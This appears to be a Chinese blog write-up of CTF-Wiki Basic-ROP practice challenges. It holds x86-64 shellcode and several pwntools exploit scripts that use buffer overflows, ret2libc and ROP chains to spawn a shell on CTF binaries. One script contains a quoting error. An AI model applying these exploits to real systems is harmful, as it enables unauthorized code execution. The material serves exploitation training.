【二進制】CTF-Wiki PWN里面的一些練習題(Basic-ROP篇)


sniperoj-pwn100-shellcode-x86-64

 

23 字節 shellcode

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

 

首先根據 gdb 確定偏移,然后把因為有個 leave 指令會破壞前面的,所以前面的填充為臟數據,然后加上返回地址占據的 8 位空間,確定在 buf_addr 后面 24+8 填充 shellcode

 

from pwn import *
sh = process('./shellcode')
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sh.recvuntil('[')
buf_addr = sh.recvuntil(']', drop=True)
buf_addr = int(buf_addr, 16)
payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64
print payload
sh.sendline(payload)
sh.interactive()

 

train.cs.nctu.edu.tw:ret2libc

 

這道題開啟了 NX 保護,然而運行的時候會把 puts 的地址跟 /bin/sh 的地址告訴我們,使用 pwntools 可以把地址提取出來,再根據 libcsearcher 查出 system 的地址,這樣就可以 getshell 了

 

exp:

from pwn import *
from LibcSearcher import LibcSearcher
p=process('./pwn')
p.recvuntil('is ')
bin_addr = int(p.recvuntil('\n), 16)
print hex(bin_addr)
p.recvuntil('is ')
puts_addr = int(p.recvuntil('\n'), 16)
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
payload2='a'*32+p32(sys_addr)+p32(1234)+p32(bin_addr)
p.sendline(payload2)
p.interactive()

 

講一下 p.recvuntil('is ') 代表的是 "is" 之前的那一塊,當下一個 recvuntil 的時候就會把這那塊去掉了

 

把腳本里的第一個 p.recvuntil('is ') 替換成 

print p.recvuntil('of ')

print p.recvuntil('is ')

就可以看出來作用是什么

image.png

 

ps. 正常會輸出這一些("^C" 是 ctrl+c 退出造成的,不包括):

image.png

 

 

train.cs.nctu.edu.tw:rop

 

沒找到題目,從大佬博客里面找到的,題目使用 nc 連上以后會輸出這些 gadgets 需要自己去構造 payload

1566026309029.png

 

把 push 的那一些 16 進制轉換一下

image.png

 

大佬說通過這些就可以構造出 payload 了

exp:我連不上。。。

from pwn import *
sh = remote('bamboofox.cs.nctu.edu.tw',10001)
payload = "9,9,1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0"
sh.sendline(payload)
sh.interactive()

 

2013-PlaidCTF-ropasaurusrex

 

沒有 system 和 /bin/sh,通過 ret2libc 的方法在 libc 里面找到,這里注意一下第一次泄露的是 got 表的內容,寫成了 plt 的,結果廢了兩個小時沒看出來,還以為又出現了什么超出知識水平的操作,,CTF 需要視力!!

 

exp:

from pwn import *
from LibcSearcher import LibcSearcher
p=process('./rop')
elf=ELF('./rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*140+p32(write_plt)+p32(0x80483F4)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
payload1='a'*140+p32(sys_addr)+p32(1234)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

 

Defcon 2015 Qualifier: R0pbaby

 

checksec 檢查一下,發現是 64 位程序,所以參數應該是存儲在 rdi 寄存器上

64 位程序當參數少於 7 個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

通過 ROPgadget --binary /libc/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"

獲取到 pop rdi ;ret 的地址:

image.png

 

通過程序自身提供的功能,可以獲取到 libc 的地址與任意函數的地址

image.png

 

同時第三個功能存在溢出,經過計算溢出的長度為 8 

image.png

 

寫 exp:

from pwn import *
from LibcSearcher import *
p=process('./pwn')
elf=ELF('./pwn')
rdi_offset=0x0000000000021102
p.recvuntil(': ')
p.sendline('2')
p.recvuntil('symbol: ')
p.sendline('system')
p.recvuntil(': ')
sys_addr=p.recvuntil('\n',drop=True)
sys_addr=int(sys_addr,16)
libc=LibcSearcher('system',sys_addr)
libc_base=sys_addr-libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
rdi_addr=libc_base+rdi_offset
payload='a'*8+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
p.recvuntil(': ')
p.sendline('3')
p.recvuntil('): ')
length=len(payload)
print length
print str(length)
p.sendline(str(length))
p.sendline(payload)
p.interactive()

 

大佬的 exp:

from pwn import *
from LibcSearcher import *
ropbaby = ELF('./pwn')
sh = process('./pwn')
context.word_size = 64
def getfuncaddress(func):
    sh.recvuntil(': ')
    sh.sendline('2')
    sh.recvuntil('symbol: ')
    sh.sendline(func)
    sh.recvuntil(': ')
    addr = sh.recvuntil('\n', drop=True)
    return int(addr, 16)
def addropbuff(payload):
    sh.recvuntil(': ')
    sh.sendline('3')
    sh.recvuntil('): ')
    length = len(payload)
    sh.sendline(str(length))
    sh.sendline(payload)
rdi_ret_offset = 0x0000000000021102
system_addr = getfuncaddress('system')
libc = LibcSearcher('system', system_addr)
libc_base = system_addr - libc.dump('system')
binsh_addr = libc.dump('str_bin_sh') + libc_base
rdi_ret = rdi_ret_offset + libc_base
print hex(system_addr), hex(binsh_addr), hex(rdi_ret)
payload = flat(['b' * 8, rdi_ret, binsh_addr, system_addr])
addropbuff(payload)
sh.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM